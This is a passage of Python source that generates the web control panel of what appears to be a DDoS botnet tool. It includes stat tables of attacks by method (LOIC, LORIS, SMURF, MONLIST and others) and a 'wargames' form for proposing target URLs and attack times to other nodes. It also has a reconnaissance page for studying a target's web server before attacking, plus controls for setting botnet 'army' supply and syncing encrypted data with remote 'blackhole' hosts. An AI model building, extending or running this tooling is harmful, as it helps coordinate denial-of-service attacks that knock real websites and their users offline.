  891. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  892. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  893. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  894. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  895. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  896. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  897. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  898. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  899. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  900. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  901. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  902. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  903. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  904. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  905. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  906. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  907. try:
  908. grid_id = m[11] # id (plain id)
  909. except:
  910. grid_id = "invalid!"
  911. elif version == 10: # v0.9
  912. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  913. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  914. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  915. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  916. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  917. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  918. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  919. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  920. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  921. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  922. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  923. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  924. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  925. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  926. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  927. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  928. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  929. try:
  930. grid_id = m[10] # id (plain id)
  931. except:
  932. grid_id = "invalid!"
  933. else: # no valid version
  934. pass
  935. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  936. else: # not valid stream data
  937. pass
  938. grid_table += "</table>"
  939. if mothership_members == 0:
  940. mothership_members = "¿?"
  941. if unknown_members == 0:
  942. unknown_members = "¿?"
  943. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  944. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr></table><br><hr><br>"
  945. grid_table = mother_grid + grid_table + "</div>"
  946. return grid_table
  947. def html_grid(self):
  948. if self.ranking == "Rookie": # Rookie
  949. your_ranking = "<font color='white'>Rookie [*]</font>"
  950. elif self.ranking == "Mercenary": # Mercenary
  951. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  952. elif self.ranking == "Bandit": # Bandit
  953. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  954. elif self.ranking == "UFOmmander!": # UFOmmander!
  955. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  956. elif self.ranking == "UFOl33t!": # UFOl33t!
  957. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  958. else:
  959. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  960. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  961. device_state = "OFF"
  962. device = "Grid device: <font color='red'>OFF</font><br>"
  963. else:
  964. device_state = "ON"
  965. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  966. data = json.load(gridcfg_json_file)
  967. gridcfg_json_file.close()
  968. grid_token = data["grid_token"]
  969. grid_contact = data["grid_contact"]
  970. grid_contact.encode('utf-8')
  971. grid_nick = data["grid_nick"]
  972. grid_nick.encode('utf-8')
  973. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  974. if device_state == "OFF":
  975. grid_panel = ""
  976. else:
  977. grid_table = self.generate_grid()
  978. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  979. if device_state == "OFF":
  980. dec_panel = ""
  981. else:
  982. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  983. if device_state == "OFF":
  984. sync_panel = ""
  985. else:
  986. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  987. if device_state == "OFF":
  988. transfer_panel = ""
  989. else:
  990. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  991. if device_state == "OFF":
  992. remove_grid = ""
  993. else:
  994. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  995. return self.pages["/header"] + """<script language="javascript">
  996. function GridProfile() {
  997. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  998. }
  999. function RemoveGrid() {
  1000. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1001. }
  1002. function Stats() {
  1003. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1004. }
  1005. function Sync_panel(){
  1006. document.getElementById("sync_panel_block").style.display = "block";
  1007. document.getElementById("dec_panel").style.display = "none";
  1008. document.getElementById("transfer_panel").style.display = "none";
  1009. }
  1010. function SyncGrid(){
  1011. grid_source=document.getElementById("grid_source").value
  1012. if(grid_source == "") {
  1013. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1014. return
  1015. }else{
  1016. params="grid_source="+escape(grid_source)
  1017. runCommandX("cmd_sync_grid",params)
  1018. setTimeout("location.reload()", 10000)
  1019. }
  1020. }
  1021. function Transfer_panel(){
  1022. document.getElementById("transfer_panel").style.display = "block";
  1023. document.getElementById("sync_panel_block").style.display = "none";
  1024. document.getElementById("dec_panel").style.display = "none";
  1025. }
  1026. function TransferGrid() {
  1027. grid_source=document.getElementById("grid_source_upload").value
  1028. grid_key=document.getElementById("grid_key_upload").value
  1029. if(grid_source == "") {
  1030. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1031. return
  1032. }else{
  1033. if(grid_key == "") {
  1034. window.alert("You need to enter a valid key (provided by someone)");
  1035. return
  1036. }else{
  1037. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1038. runCommandX("cmd_transfer_grid",params)
  1039. setTimeout("location.reload()", 10000)
  1040. }
  1041. }
  1042. }
  1043. function Decryption_panel(){
  1044. document.getElementById("dec_panel").style.display = "block";
  1045. document.getElementById("transfer_panel").style.display = "none";
  1046. document.getElementById("sync_panel_block").style.display = "none";
  1047. }
  1048. function Decrypt_grid(){
  1049. grid_key=document.getElementById("grid_key").value
  1050. if(grid_key == "") {
  1051. window.alert("You need to enter a valid key (provided by someone)");
  1052. return
  1053. }else{
  1054. params="grid_key="+escape(grid_key)
  1055. runCommandX("cmd_decrypt_grid",params)
  1056. panel_enc = document.getElementById("grid_panel_enc").style.display
  1057. if(panel_enc == "block"){
  1058. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1059. }
  1060. }
  1061. }
  1062. function GridFilter(filter, key){
  1063. params="filter="+escape(filter)+"&key="+escape(key)
  1064. runCommandX("cmd_grid_filter", params)
  1065. setTimeout("Decrypt_grid()", 2000)
  1066. }
  1067. </script>
  1068. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1069. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1070. <br><center>
  1071. <table cellpadding="5" cellspacing="5"><tr>
  1072. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1073. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1074. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1075. """ + self.pages["/footer"]
  1076. def generate_wargames(self):
  1077. with open(self.wargames_file) as f:
  1078. for line in f:
  1079. line = line.strip()
  1080. f.close()
  1081. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1082. for m in self.list_wargames: # list = creation, target, estimated
  1083. if wargames_msg_sep in m:
  1084. m = m.split(wargames_msg_sep)
  1085. wargame_creation = m[0][0:12] # creation date
  1086. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1087. wargame_target = m[1][0:12] # target (obfuscation)
  1088. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1089. wargame_estimated = m[2][0:12] # estimated date
  1090. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1091. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1092. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1093. wargame_status = wargame_state # status (obfuscated like state)
  1094. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1095. wargames_table += "</table>"
  1096. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1097. wargames_table = mother_wargame + wargames_table + "</div>"
  1098. return wargames_table
  1099. def html_wargames(self):
  1100. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1101. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1102. wargames_table = self.generate_wargames()
  1103. return self.pages["/header"] + """<script language="javascript">
  1104. function Decrypt_wargames(){
  1105. wargames_deckey=document.getElementById("wargames_deckey").value
  1106. if(wargames_deckey == "") {
  1107. window.alert("You need to enter a valid key (provided by someone)");
  1108. return
  1109. }else{
  1110. params="wargames_deckey="+escape(wargames_deckey)
  1111. runCommandX("cmd_decrypt_wargames",params)
  1112. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1113. if(panel_enc == "block"){
  1114. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1115. }
  1116. }
  1117. }
  1118. function SyncWargames(){
  1119. wargames_source=document.getElementById("wargames_source").value
  1120. if(wargames_source == "") {
  1121. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1122. return
  1123. }else{
  1124. params="wargames_source="+escape(wargames_source)
  1125. runCommandX("cmd_sync_wargames",params)
  1126. setTimeout("location.reload()", 10000)
  1127. }
  1128. }
  1129. function Send() {
  1130. wargames_source2=document.getElementById("wargames_source2").value
  1131. wargames_enckey=document.getElementById("wargames_enckey").value
  1132. wargames_target=document.getElementById("wargames_target").value
  1133. wargames_estimated=document.getElementById("wargames_estimated").value
  1134. if(wargames_source2 == "") {
  1135. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1136. return
  1137. }else{
  1138. if(wargames_enckey == "") {
  1139. window.alert("You need to enter a valid key (provided by someone)");
  1140. return
  1141. }else{
  1142. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1143. runCommandX("cmd_transfer_wargame",params)
  1144. setTimeout("location.reload()", 10000)
  1145. }
  1146. }
  1147. }
  1148. function JobRemove(id) {
  1149. params="id="+escape(id)
  1150. runCommandX("cmd_job_remove",params)
  1151. setTimeout("Decrypt_wargames()", 2000)
  1152. }
  1153. function JobAdd(id) {
  1154. params="id="+escape(id)
  1155. runCommandX("cmd_job_add", params)
  1156. setTimeout("Decrypt_wargames()", 2000)
  1157. }
  1158. function JobAddAll() {
  1159. runCommandX("cmd_job_add_all")
  1160. setTimeout("Decrypt_wargames()", 2000)
  1161. }
  1162. function JobCancel(id) {
  1163. params="id="+escape(id)
  1164. runCommandX("cmd_job_cancel", params)
  1165. setTimeout("Decrypt_wargames()", 2000)
  1166. }
  1167. function JobRemoveAll(key) {
  1168. params="key="+escape(key)
  1169. runCommandX("cmd_job_remove_all", params)
  1170. setTimeout("Decrypt_wargames()", 2000)
  1171. }
  1172. function JobCancelAll() {
  1173. runCommandX("cmd_job_cancel_all")
  1174. setTimeout("Decrypt_wargames()", 2000)
  1175. }
  1176. function JobFilter(filter, key) {
  1177. params="filter="+escape(filter)+"&key="+escape(key)
  1178. runCommandX("cmd_job_filter", params)
  1179. setTimeout("Decrypt_wargames()", 2000)
  1180. }
  1181. function EditSupply(){
  1182. if(document.getElementById("supply_edit").value == "EDIT"){
  1183. document.getElementById("supply_botnet").readOnly = false;
  1184. document.getElementById("supply_loic").readOnly = false;
  1185. document.getElementById("supply_loris").readOnly = false;
  1186. document.getElementById("supply_ufosyn").readOnly = false;
  1187. document.getElementById("supply_spray").readOnly = false;
  1188. document.getElementById("supply_smurf").readOnly = false;
  1189. document.getElementById("supply_xmas").readOnly = false;
  1190. document.getElementById("supply_nuke").readOnly = false;
  1191. document.getElementById("supply_tachyon").readOnly = false;
  1192. document.getElementById("supply_monlist").readOnly = false;
  1193. document.getElementById("supply_edit").title = "Set global army supply..."
  1194. document.getElementById("supply_edit").value = "SET"
  1195. document.getElementById("supply_edit").innerHTML = "SET!"
  1196. }else{
  1197. supply_botnet=document.getElementById("supply_botnet").value
  1198. supply_loic=document.getElementById("supply_loic").value
  1199. supply_loris=document.getElementById("supply_loris").value
  1200. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1201. supply_spray=document.getElementById("supply_spray").value
  1202. supply_smurf=document.getElementById("supply_smurf").value
  1203. supply_xmas=document.getElementById("supply_xmas").value
  1204. supply_nuke=document.getElementById("supply_nuke").value
  1205. supply_tachyon=document.getElementById("supply_tachyon").value
  1206. supply_monlist=document.getElementById("supply_monlist").value
  1207. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1208. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1209. return
  1210. }else{
  1211. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1212. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1213. return
  1214. }else{
  1215. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1216. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1217. return
  1218. }else{
  1219. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1220. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1221. return
  1222. }else{
  1223. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1224. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1225. return
  1226. }else{
  1227. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1228. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1229. return
  1230. }else{
  1231. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1232. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1233. return
  1234. }else{
  1235. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1236. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1237. return
  1238. }else{
  1239. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1240. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1241. return
  1242. }else{
  1243. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1244. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1245. return
  1246. }else{
  1247. document.getElementById("supply_botnet").readOnly = true;
  1248. document.getElementById("supply_loic").readOnly = true;
  1249. document.getElementById("supply_loris").readOnly = true;
  1250. document.getElementById("supply_ufosyn").readOnly = true;
  1251. document.getElementById("supply_spray").readOnly = true;
  1252. document.getElementById("supply_smurf").readOnly = true;
  1253. document.getElementById("supply_xmas").readOnly = true;
  1254. document.getElementById("supply_nuke").readOnly = true;
  1255. document.getElementById("supply_tachyon").readOnly = true;
  1256. document.getElementById("supply_monlist").readOnly = true;
  1257. document.getElementById("supply_edit").title = "Edit global army supply..."
  1258. document.getElementById("supply_edit").value = "EDIT"
  1259. document.getElementById("supply_edit").innerHTML = "EDIT"
  1260. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)
  1261. runCommandX("cmd_edit_supply",params)
  1262. setTimeout("Decrypt_wargames()", 2000)
  1263. }
  1264. }
  1265. }
  1266. }
  1267. }
  1268. }
  1269. }
  1270. }
  1271. }
  1272. }
  1273. }
  1274. }
  1275. </script>
  1276. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1277. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1278. <br>
  1279. <center>
  1280. <table cellpadding="5" cellspacing="5"><tr>
  1281. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1282. <td>
  1283. <pre>This feature will allow you to propose/join some real 'wargames'.
  1284. <hr>
  1285. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1286. <hr><br>
  1287. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1288. def html_abduction(self):
  1289. return self.pages["/header"] + """<script language="javascript">
  1290. function Requests() {
  1291. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1292. }
  1293. function Start(){
  1294. target=document.getElementById("target").value
  1295. String.prototype.startsWith = function(prefix){
  1296. return this.indexOf(prefix) === 0;
  1297. }
  1298. if(target.startsWith("http")){
  1299. params="target="+escape(target)
  1300. }else{
  1301. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  1302. return
  1303. }
  1304. runCommandX("cmd_abduction",params)
  1305. }
  1306. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1307. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1308. <br>
  1309. <center>
  1310. <table cellpadding="5" cellspacing="5"><tr>
  1311. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  1312. <td>
  1313. <pre>
  1314. This feature will provide you information about target's web server.
  1315. You can use this before to attack to be more effective.
  1316. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1317. <hr>
  1318. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1319. <hr>
  1320. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  1321. </pre>
  1322. </td></tr></table>
  1323. <hr><br>
  1324. <div id="cmdOut"></div>""" + self.pages["/footer"]
  1325. def html_blackholes(self):
  1326. return self.pages["/header"] + """<script language="javascript">
  1327. function Decrypt(){
  1328. blackhole_key=document.getElementById("blackhole_key").value
  1329. if(blackhole_key == "") {
  1330. window.alert("You need to enter a valid key (provided by someone)");
  1331. return
  1332. }else{
  1333. params="blackhole_key="+escape(blackhole_key)
  1334. runCommandX("cmd_decrypt",params)
  1335. document.getElementById("nb1").style.display = "none";
  1336. }
  1337. }
  1338. </script>
  1339. <script language="javascript">
  1340. function RefreshBlackhole(){
  1341. blackholes_source=document.getElementById("blackholes_source").value
  1342. if(blackholes_source == "") {
  1343. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1344. return
  1345. }else{
  1346. params="blackholes_source="+escape(blackholes_source)
  1347. runCommandX("cmd_refresh_blackholes",params)
  1348. document.getElementById("nb1").style.display = "none";
  1349. setTimeout("location.reload()", 10000)
  1350. }
  1351. }
  1352. </script>
  1353. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1354. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1355. <br>
  1356. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  1357. <td>Blackhole/IP:</td>
  1358. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
